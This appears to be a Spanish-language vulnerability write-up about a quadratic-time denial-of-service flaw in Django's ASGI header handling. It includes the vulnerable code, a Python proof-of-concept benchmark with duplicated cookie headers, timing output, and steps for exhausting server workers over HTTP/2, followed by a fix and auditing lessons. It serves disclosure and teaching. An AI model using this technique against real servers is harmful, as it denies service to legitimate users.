Resumen
El fallo estaba en django.core.handlers.asgi.ASGIRequest, la clase que convierte una petición ASGI en el objeto request de Django. Al rellenar el diccionario META, recorre la lista scope["headers"] y, cuando una cabecera aparece más de una vez (algo legal en HTTP/2 y HTTP/3), une el valor nuevo con el anterior mediante concatenación de cadenas:
for name, value in self.scope.get("headers", []):
name = name.decode("latin1")
if name == "content-length":
corrected_name = "CONTENT_LENGTH"
elif name == "content-type":
corrected_name = "CONTENT_TYPE"
else:
corrected_name = "HTTP_%s" % name.upper().replace("-", "_")
value = value.decode("latin1")
if corrected_name == "HTTP_COOKIE":
value = value.rstrip("; ")
if "HTTP_COOKIE" in self.META:
value = self.META[corrected_name] + "; " + value
elif corrected_name in self.META:
value = self.META[corrected_name] + "," + value
self.META[corrected_name] = value
En Python las cadenas son inmutables, así que cada existente + "," + nuevo crea una cadena nueva y copia todo lo acumulado hasta ese momento. Con una cabecera repetida n veces el bucle copia del orden de 1 + 2 + … + n fragmentos, es decir, trabajo cuadrático (Θ(n²)) para una entrada lineal. Y todo ocurre en el constructor de la petición, antes de que se ejecute ningún middleware ni vista. No había límite al número de repeticiones por nombre de cabecera.
Afecta a cualquier despliegue de Django servido por ASGI (por ejemplo, gunicorn con uvicorn, o Daphne) y no requiere ninguna configuración especial.
Pasos de reproducción
El investigador midió el coste directamente sobre la clase, sin servidor de por medio:
- Preparar un entorno con el código de Django del repositorio y configurarlo de forma mínima.
- Construir objetos
ASGIRequestcon unscopeque repite la cabeceracookienveces, cada copia de unos 128 bytes y sin cuerpo. - Cronometrar cuánto tarda el constructor para distintos valores de
n.
import sys, time
from io import BytesIO
sys.path.insert(0, "/django-poc")
sys.path.insert(0, "/django-poc/django")
import asgiref.sync
class ThreadSensitiveContext:
async def __aenter__(self): return self
async def __aexit__(self, exc_type, exc, tb): return False
asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext
from django.conf import settings
if not settings.configured:
settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__,
ALLOWED_HOSTS=["*"], USE_TZ=True)
import django
django.setup()
from django.core.handlers.asgi import ASGIRequest
def bench(n, header_len=128):
scope = {
"type": "http",
"scheme": "http",
"path": "/",
"method": "GET",
"headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)],
"query_string": b"",
}
start = time.perf_counter()
ASGIRequest(scope, BytesIO(b""))
return time.perf_counter() - start
for n in (2_000, 4_000, 8_000, 16_000):
print(f"{n} headers -> {bench(n):.6f}s")
Resultado obtenido en un equipo con chip M3:
2000 headers -> 0.015708s
4000 headers -> 0.066771s
8000 headers -> 0.233624s
16000 headers -> 1.131225s
Cada vez que se duplica el número de cabeceras, el tiempo se multiplica aproximadamente por cuatro: la firma del crecimiento cuadrático. El total de cabeceras rondaba los 2 MB y el cuerpo estaba vacío.
Contra un servidor real, el escenario descrito es:
- Abrir una conexión HTTP/2 contra la aplicación Django desplegada con ASGI.
- Enviar un
GETcon una cabecera (lacookieu otra cualquiera) duplicada miles de veces, con valores cortos (menos de 128 bytes) y sin cuerpo. ASGIRequestconcatena cada copia enMETAy consume CPU antes de llegar a middleware o vistas.- Repetir en varias conexiones en paralelo para mantener ocupados todos los procesos worker.
Impacto
- Una única petición HTTP/2 con una cabecera corta repetida entre 8.000 y 16.000 veces consume desde cientos de milisegundos hasta segundos de CPU solo en construir el objeto de la petición.
- Con unas pocas conexiones simultáneas, un atacante puede mantener saturados los workers ASGI (uvicorn, Daphne, etc.) e impedir que se atienda al tráfico legítimo.
- El ataque respeta los límites que Django documenta en su política de seguridad (cada cabecera por debajo de 8 KB, cuerpo por debajo de 2,5 MB), por lo que entra en el alcance del programa.
Remediación
El reporte figura como resuelto en HackerOne, pero no detalla el parche aplicado. Lo que propuso el investigador:
- Acumular los valores de cada cabecera repetida en una lista (por ejemplo, con
defaultdict(list)) y unirlos una sola vez al final con",".join(valores), lo que deja el coste en O(n). - Hacer lo mismo con las cookies usando
"; ".join(...). - Opcionalmente, fijar un máximo de repeticiones por nombre de cabecera para cortar pronto las peticiones absurdas.
Qué aprender de este caso
- Busca bucles que vayan "pegando" texto con
+o+=sobre un valor que crece con la entrada del cliente (cabeceras repetidas, parámetros duplicados, fragmentos de un multipart): si cada vuelta copia todo lo anterior, el coste es cuadrático aunque cada fragmento sea pequeño. - HTTP/2 y HTTP/3 permiten repetir la misma cabecera muchas veces en una sola petición; los adaptadores que normalizan cabeceras a un diccionario (como
METAen ASGI o WSGI) son un buen sitio para probar con miles de duplicados y medir el tiempo de respuesta. - Para combinar valores repetidos, junta primero en una lista y haz un único
joinal final; y limita cuántas veces se acepta un mismo nombre de cabecera antes de rechazar la petición. - Los límites por tamaño de cada cabecera no protegen frente a este patrón: el problema es el número de repeticiones, así que conviene limitar también la cantidad total de cabeceras en el servidor o proxy que hay delante.